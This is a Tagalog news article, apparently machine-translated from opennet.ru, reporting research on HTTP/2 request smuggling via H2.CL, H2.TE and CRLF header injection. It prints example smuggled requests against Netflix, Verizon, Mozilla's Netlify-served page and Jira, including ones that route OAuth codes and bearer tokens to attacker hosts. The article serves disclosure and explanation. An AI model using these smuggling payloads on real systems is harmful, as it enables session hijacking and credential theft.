Ang mga web system kung saan ang front end ay tumatanggap ng mga koneksyon sa pamamagitan ng HTTP/2 at ipinapadala ang mga ito sa backend sa pamamagitan ng HTTP/1.1 ay nalantad sa isang bagong variant ng "HTTP Request Smuggling" na pag-atake, na nagbibigay-daan, sa pamamagitan ng pagpapadala ng mga espesyal na idinisenyong kahilingan ng kliyente, sa i-wedge sa mga nilalaman ng mga kahilingan mula sa iba pang mga user na naproseso sa parehong daloy sa pagitan ng frontend at backend. Maaaring gamitin ang pag-atake upang magpasok ng malisyosong JavaScript code sa isang session na may lehitimong website, laktawan ang mga sistema ng paghihigpit sa pag-access at maharang ang mga parameter ng pagpapatunay.
Nakakaapekto ang problema sa mga web proxies, load balancer, web accelerators, content delivery system at iba pang configuration kung saan ang mga kahilingan ay nire-redirect sa front-end-to-backend na paraan. Ipinakita ng may-akda ng pag-aaral ang posibilidad ng pag-atake sa mga system ng Netflix, Verizon, Bitbucket, Netlify CDN at Atlassian, at nakatanggap ng 56 libong dolyar sa mga programang gantimpala para sa pagtukoy ng mga kahinaan. Ang problema ay nakumpirma rin sa mga produkto ng F5 Networks. Ang problema ay bahagyang nakakaapekto sa mod_proxy sa Apache http server (CVE-2021-33193), ang isang pag-aayos ay inaasahan sa bersyon 2.4.49 (naabisuhan ang mga developer ng problema noong unang bahagi ng Mayo at binigyan ng 3 buwan upang ayusin ito). Sa nginx, na-block sa huling release (1.21.1) ang kakayahang sabay na tukuyin ang mga header na "Haba ng Nilalaman" at "Transfer-Encoding". Ang mga tool sa pag-atake ay kasama na sa toolkit ng Burp at available sa anyo ng extension ng Turbo Intruder.
Ang prinsipyo ng pagpapatakbo ng bagong paraan ng wedging request sa trapiko ay katulad ng vulnerability na tinukoy ng parehong researcher dalawang taon na ang nakalipas, ngunit limitado sa mga frontend na tumatanggap ng mga kahilingan sa HTTP/1.1. Alalahanin natin na sa frontend-backend scheme, ang mga kahilingan ng kliyente ay natatanggap ng isang karagdagang node - ang frontend, na nagtatatag ng pangmatagalang koneksyon sa TCP sa backend, na direktang nagpoproseso ng mga kahilingan. Sa pamamagitan ng karaniwang koneksyong ito, ang mga kahilingan mula sa iba't ibang mga gumagamit ay karaniwang ipinapadala, na sumusunod sa kadena ng isa-isa, na pinaghihiwalay sa pamamagitan ng HTTP protocol.
Ang klasikong pag-atake ng "HTTP Request Smuggling" ay batay sa katotohanan na binibigyang-kahulugan ng mga frontend at backend ang paggamit ng mga header ng HTTP na "Haba ng Nilalaman" (tinutukoy ang kabuuang laki ng data sa kahilingan) at "Transfer-Encoding: chunked" (nagbibigay-daan data na ililipat sa mga bahagi) nang iba. . Halimbawa, kung ang frontend ay sumusuporta lamang sa "Content-Length" ngunit binabalewala ang "Transfer-Encoding: chunked", kung gayon ang isang attacker ay maaaring magpadala ng kahilingan na naglalaman ng parehong "Content-Length" at "Transfer-Encoding: chunked" na mga header, ngunit ang laki ay "Content-Length" ay hindi tumutugma sa laki ng chunked chain. Sa kasong ito, ang frontend ay magpoproseso at magre-redirect ng kahilingan alinsunod sa "Content-Length", at ang backend ay maghihintay para sa pagkumpleto ng block batay sa "Transfer-Encoding: chunked" at ang natitirang buntot ng kahilingan ng attacker ay maging sa simula ng kahilingan ng ibang tao na ipinadala sa susunod.
Hindi tulad ng text protocol na HTTP/1.1, na na-parse sa antas ng linya, ang HTTP/2 ay isang binary protocol at nagmamanipula ng mga bloke ng data ng isang paunang tinukoy na laki. Gayunpaman, gumagamit ang HTTP/2 ng mga pseudo-header na tumutugma sa mga regular na header ng HTTP. Sa kaso ng pakikipag-ugnayan sa backend sa pamamagitan ng HTTP/1.1 protocol, isinasalin ng frontend ang mga pseudo-header na ito sa mga katulad na HTTP header na HTTP/1.1. Ang problema ay ang backend ay gumagawa ng mga desisyon tungkol sa pag-parse ng stream batay sa mga header ng HTTP na itinakda ng frontend, nang walang impormasyon tungkol sa mga parameter ng orihinal na kahilingan.
Sa partikular, ang mga value na "content-length" at "transfer-encoding" ay maaaring maipadala sa anyo ng mga pseudo-header, sa kabila ng katotohanang hindi sila ginagamit sa HTTP/2, dahil ang laki ng lahat ng data ay tinutukoy. sa isang hiwalay na larangan. Gayunpaman, sa panahon ng proseso ng pag-convert ng HTTP/2 na kahilingan sa HTTP/1.1, ang mga header na ito ay dinadala at maaaring malito ang backend. Mayroong dalawang pangunahing variant ng pag-atake: H2.TE at H2.CL, kung saan ang backend ay nalinlang ng maling transfer-encoding o content-length value na hindi tumutugma sa aktwal na laki ng request body na natanggap ng frontend sa pamamagitan ng HTTP/2 protocol.
Ang isang halimbawa ng pag-atake ng H2.CL ay ang pagtukoy ng maling laki sa pseudo-header na haba ng nilalaman kapag nagpapadala ng kahilingan sa HTTP/2 sa Netflix. Ang kahilingang ito ay humahantong sa pagdaragdag ng isang katulad na HTTP header na Content-Length kapag ina-access ang backend sa pamamagitan ng HTTP/1.1, ngunit dahil ang laki sa Content-Length ay tinukoy na mas mababa kaysa sa aktwal, bahagi ng data sa tail ay pinoproseso bilang ang simula ng susunod na kahilingan.
Halimbawa, humiling ng HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Magreresulta sa isang kahilingan na ipapadala sa backend: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Dahil ang Content-Length ay may value na 4, ang backend ay tatanggap lang ng “abcd” bilang katawan ng kahilingan, at ang natitirang bahagi ng “GET /n HTTP/1.1...” ay ipoproseso bilang simula ng isang kasunod na kahilingan nauugnay sa ibang user. Alinsunod dito, ang stream ay magiging desynchronize at bilang tugon sa susunod na kahilingan, ang resulta ng pagproseso ng dummy na kahilingan ay ibibigay. Sa kaso ng Netflix, ang pagtukoy ng isang third-party na host sa header na “Host:” sa isang dummy na kahilingan ay nagresulta sa pagbabalik ng kliyente ng tugon na “Lokasyon: https://02.rs?x.netflix.com/n” at pinapayagan ang arbitrary na nilalaman na maipadala sa kliyente, kabilang ang Patakbuhin ang iyong JavaScript code sa konteksto ng Netflix site.
Ang pangalawang opsyon sa pag-atake (H2.TE) ay kinabibilangan ng pagpapalit sa header na “Transfer-Encoding: chunked”. Ang paggamit ng transfer-encoding pseudo-header sa HTTP/2 ay ipinagbabawal ng detalye at ang mga kahilingang kasama nito ay inireseta na ituring na hindi tama. Sa kabila nito, ang ilang mga pagpapatupad sa frontend ay hindi isinasaalang-alang ang kinakailangang ito at pinapayagan ang paggamit ng isang transfer-encoding pseudo-header sa HTTP/2, na na-convert sa isang katulad na HTTP header. Kung mayroong header na "Transfer-Encoding," maaaring gawin ito ng backend bilang isang mas mataas na priyoridad at i-parse ang data piece by piece sa "chunked" mode gamit ang mga block na may iba't ibang laki sa format na "{size}\r\n{block }\r\n{size} \r\n{block}\r\n0", sa kabila ng paunang paghahati ayon sa kabuuang sukat.
Ang pagkakaroon ng gayong puwang ay ipinakita ng halimbawa ng Verizon. Ang problema ay nauugnay sa portal ng pagpapatunay at sistema ng pamamahala ng nilalaman, na ginagamit din sa mga site tulad ng Huffington Post at Engadget. Halimbawa, ang kahilingan ng kliyente sa pamamagitan ng HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Nagresulta sa pagpapadala ng HTTP/1.1 na kahilingan sa backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres. net Nilalaman- Haba: 10x=
Binalewala naman ng backend ang header na "Content-Length" at nagsagawa ng in-stream splitting batay sa "Transfer-Encoding: chunked." Sa pagsasagawa, ginawang posible ng pag-atake na i-redirect ang mga kahilingan ng user sa kanilang website, kabilang ang pagharang sa mga kahilingang nauugnay sa pagpapatotoo ng OAuth, ang mga parameter nito ay ipinakita sa header ng Referer, pati na rin ang pagtulad sa isang session ng pagpapatotoo at pag-trigger sa system ng user na magpadala ng mga kredensyal. sa host ng attacker. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Upang atakehin ang mga pagpapatupad ng HTTP/2 na hindi nagpapahintulot na tukuyin ang pseudo-header ng transfer-encoding, iminungkahi ang isa pang paraan na kinabibilangan ng pagpapalit sa header ng “Transfer-Encoding” sa pamamagitan ng pag-attach nito sa iba pang mga pseudo-header na pinaghihiwalay ng isang character na bagong linya ( kapag na-convert sa HTTP/1.1 sa kasong ito, lumilikha ng dalawang magkahiwalay na HTTP header).
Halimbawa, naapektuhan ng problemang ito ang Atlassian Jira at Netlify CDN (ginamit upang ihatid ang panimulang pahina ng Mozilla sa Firefox). Sa partikular, ang HTTP/2 request :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
nagresulta sa HTTP/1.1 POST / HTTP/1.1 request na ipinadala sa backend\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r \n x=
Ang isa pang opsyon para sa pagpapalit ng "Transfer-Encoding" na header ay ang pag-attach nito sa pangalan ng isa pang pseudo-header o sa isang linya na may paraan ng paghiling. Halimbawa, kapag ina-access ang Atlassian Jira, ang pseudo-header name na "foo: bar\r\ntransfer-encoding" na may value na "chunked" ay naging dahilan upang maidagdag ang HTTP header na "foo: bar" at "transfer-encoding: chunked" , at ang pagtukoy ng pseudo-header na ":method" na value na "GET / HTTP/1.1\r\nTransfer-encoding: chunked" ay isinalin sa "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
Ang tagapagpananaliksik na tumukoy sa problema ay nagmungkahi din ng isang pamamaraan ng paghiling ng tunneling upang atakehin ang mga frontend, kung saan ang bawat IP address ay nagtatatag ng isang hiwalay na koneksyon sa backend at ang trapiko mula sa iba't ibang mga gumagamit ay hindi pinaghalo. Ang iminungkahing pamamaraan ay hindi pinapayagan ang pakikialam sa mga kahilingan mula sa ibang mga user, ngunit ginagawang posible na lason ang isang nakabahaging cache na nakakaapekto sa pagproseso ng iba pang mga kahilingan, at pinapayagan ang pagpapalit ng mga panloob na HTTP header na ginagamit upang ilipat ang impormasyon ng serbisyo mula sa frontend patungo sa backend ( halimbawa, kapag nag-authenticate sa frontend side sa Ang nasabing mga header ay maaaring magpadala ng impormasyon tungkol sa kasalukuyang user sa backend). Bilang isang halimbawa ng paglalapat ng pamamaraan sa pagsasanay, gamit ang pagkalason sa cache, posible na makakuha ng kontrol sa mga pahina sa serbisyo ng Bitbucket.
Pinagmulan: opennet.ru